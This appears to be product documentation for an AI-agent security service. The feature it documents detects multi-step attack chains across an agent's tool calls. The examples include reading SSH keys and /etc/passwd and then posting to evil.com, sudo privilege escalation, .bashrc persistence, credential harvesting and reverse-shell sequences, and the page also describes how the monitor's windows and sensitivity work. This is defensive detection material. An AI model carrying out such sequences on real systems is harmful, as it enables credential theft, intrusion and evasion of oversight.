Bastio
Agent Security

Chain Analysis

Detect multi-tool attack patterns where individual calls appear safe but sequences indicate malicious intent.

Chain Analysis

Chain analysis detects attack patterns that span multiple tool calls. While individual tool calls may appear safe, certain sequences of calls can indicate reconnaissance, data exfiltration, or privilege escalation attacks.

Overview

Many attacks follow predictable patterns:

  1. Reconnaissance - Gather information about the system
  2. Access - Read sensitive files or data
  3. Exfiltration - Send data to external systems

Chain analysis tracks tool call sequences per session and detects when these patterns emerge.

Attack Chain Patterns

Data Exfiltration Chain

Pattern: Read sensitive data → Send to external endpoint

Tool 1: read_file("/etc/passwd")           → Allowed
Tool 2: read_file("~/.ssh/id_rsa")         → Allowed
Tool 3: http_post("https://evil.com/...")  → BLOCKED: Exfiltration chain detected

Detection: File reads followed by network requests with suspicious data patterns.

Reconnaissance Chain

Pattern: List resources → Read configurations → Access credentials

Tool 1: list_files("/home/user")           → Allowed
Tool 2: read_file(".env")                  → Allowed
Tool 3: read_file("config/database.yml")   → BLOCKED: Recon chain detected

Detection: Progressive information gathering targeting sensitive locations.

Privilege Escalation Chain

Pattern: Check permissions → Modify permissions → Execute with privileges

Tool 1: execute_shell("whoami")            → Allowed
Tool 2: execute_shell("sudo -l")           → Allowed
Tool 3: execute_shell("sudo su")           → BLOCKED: Privilege escalation chain

Detection: Sequential privilege probing followed by escalation attempts.

Persistence Chain

Pattern: Create file → Make executable → Add to startup

Tool 1: write_file("/tmp/script.sh", ...)  → Allowed
Tool 2: execute_shell("chmod +x /tmp/...")  → Allowed
Tool 3: write_file("~/.bashrc", ...)       → BLOCKED: Persistence chain detected

Detection: File creation followed by execution setup and persistence mechanisms.

How Chain Analysis Works

Session Tracking

Bastio tracks the last N tool calls per session:

{
  "session_id": "session_abc123",
  "tool_sequence": [
    { "name": "read_file", "args": {"path": "/etc/hosts"}, "time": "..." },
    { "name": "read_file", "args": {"path": "~/.ssh/config"}, "time": "..." },
    { "name": "http_get", "args": {"url": "..."}, "time": "..." }
  ]
}

Pattern Matching

Each new tool call is analyzed against known attack patterns:

┌─────────────────────────────────────┐
│  New Tool Call: http_post           │
└─────────────────────────────────────┘


┌─────────────────────────────────────┐
│  Check: Exfiltration Pattern        │
│  Recent reads: [/etc/hosts, .ssh]   │
│  Current: network send              │
│  Result: PATTERN MATCH              │
└─────────────────────────────────────┘


┌─────────────────────────────────────┐
│  Response: Block + Alert            │
│  Chain: exfiltration_detected       │
│  Risk Score: 0.95                   │
└─────────────────────────────────────┘

Risk Score Impact

Chain detection significantly increases risk scores:

FactorRisk Impact
Single tool threat+0.1 to +0.3
Two-step suspicious sequence+0.3 to +0.5
Known attack chain match+0.5 to +0.8
Multiple chain patterns+0.7 to +0.95

API Response

When a chain is detected:

{
  "action": "block",
  "tool_call_id": "call_xyz",
  "risk_score": 0.92,
  "threats_detected": ["chain_analysis"],
  "chain_details": {
    "pattern": "data_exfiltration",
    "confidence": 0.95,
    "sequence": [
      { "tool": "read_file", "index": -2 },
      { "tool": "read_file", "index": -1 },
      { "tool": "http_post", "index": 0 }
    ],
    "description": "Sensitive file reads followed by external data transmission"
  },
  "message": "Blocked: Data exfiltration chain detected"
}

Built-in Chain Patterns

Bastio includes 15+ built-in chain patterns:

Pattern IDDescriptionSequence
exfiltration_file_networkFile read → Network sendread_file → http_post
recon_progressiveList → Read → Accesslist_files → read_file × N
privilege_escalation_unixCheck → Escalatewhoami → sudo
persistence_cronWrite → Cronwrite_file → execute(crontab)
persistence_startupWrite → Startup filewrite_file → .bashrc/.profile
credential_harvestMultiple credential filesread_file(.env, .config, keys)
database_dumpConnect → Query all → Exportdb_connect → SELECT * → file
reverse_shellDownload → Execute → Connecthttp_get → execute → network

Configuration

Enable/Disable Chain Analysis

Via API:

curl -X PUT https://api.bastio.com/v1/guard/{proxyId}/settings \
  -H "Authorization: Bearer YOUR_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "chain_analysis_enabled": true,
    "chain_window_size": 10,
    "chain_window_minutes": 30
  }'

Settings

SettingDefaultDescription
chain_analysis_enabledtrueEnable chain analysis
chain_window_size10Number of recent calls to analyze
chain_window_minutes30Time window for chain detection
chain_sensitivitymediumlow, medium, high

Sensitivity Levels

LevelBehavior
lowOnly detect high-confidence attack chains
mediumBalance between detection and false positives
highAggressive detection, may have more false positives

Custom Chain Patterns

Define custom patterns for your application:

curl -X POST https://api.bastio.com/v1/guard/{proxyId}/chain-patterns \
  -H "Authorization: Bearer YOUR_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Customer Data Export",
    "description": "Detects bulk customer data access followed by export",
    "sequence": [
      { "tool_pattern": "db_query", "argument_pattern": "customers" },
      { "tool_pattern": "db_query", "argument_pattern": "SELECT *" },
      { "tool_pattern": "*_export" }
    ],
    "action": "require_approval",
    "confidence_threshold": 0.8
  }'

Pattern Definition

FieldDescription
nameHuman-readable pattern name
sequenceArray of tool matchers in order
tool_patternGlob pattern for tool name
argument_patternRegex pattern for arguments
min_interval_secondsMinimum time between steps
max_interval_secondsMaximum time between steps
actionAction when pattern matches
confidence_thresholdMinimum confidence to trigger

Code Examples

Handling Chain Blocks

async def validate_tool_with_chain_context(
    proxy_id: str,
    session_id: str,
    tool_call: dict
) -> dict:
    """Validate tool call with chain analysis context."""

    result = await validate_tool_call(proxy_id, tool_call, session_id)

    if result.get("chain_details"):
        chain = result["chain_details"]
        logger.warning(
            "Chain pattern detected",
            pattern=chain["pattern"],
            confidence=chain["confidence"],
            sequence=[s["tool"] for s in chain["sequence"]]
        )

        # Report to security team
        await notify_security_team({
            "type": "chain_detected",
            "session_id": session_id,
            "pattern": chain["pattern"],
            "tool_call": tool_call
        })

    return result
async function validateWithChainContext(
  proxyId: string,
  sessionId: string,
  toolCall: object
): Promise<ValidationResult> {
  const result = await validateToolCall(proxyId, toolCall, sessionId);

  if (result.chain_details) {
    console.warn('Chain pattern detected:', {
      pattern: result.chain_details.pattern,
      confidence: result.chain_details.confidence,
      sequence: result.chain_details.sequence.map(s => s.tool),
    });

    // Alert security team
    await alertSecurityTeam({
      type: 'chain_detected',
      sessionId,
      pattern: result.chain_details.pattern,
    });
  }

  return result;
}

Breaking Suspicious Chains

Reset session context if a chain is partially detected:

async def safe_tool_execution(session_id, tool_call):
    result = await validate_tool_call(proxy_id, tool_call, session_id)

    # If we're starting to look suspicious, warn the agent
    if result.get("chain_warning"):
        return {
            "action": "warn",
            "message": "Recent operations are forming a suspicious pattern. "
                      "Please explain your intent or try a different approach."
        }

    return result

Viewing Chain Events

Query chain analysis events:

curl https://api.bastio.com/v1/guard/{proxyId}/chain-events \
  -H "Authorization: Bearer YOUR_API_KEY" \
  -G \
  -d "start_time=2024-01-01T00:00:00Z" \
  -d "end_time=2024-01-31T23:59:59Z"
{
  "events": [
    {
      "event_id": "chain_001",
      "timestamp": "2024-01-15T10:30:00Z",
      "session_id": "session_abc",
      "pattern": "data_exfiltration",
      "confidence": 0.92,
      "action_taken": "block",
      "sequence": [...]
    }
  ]
}

Best Practices

Next Steps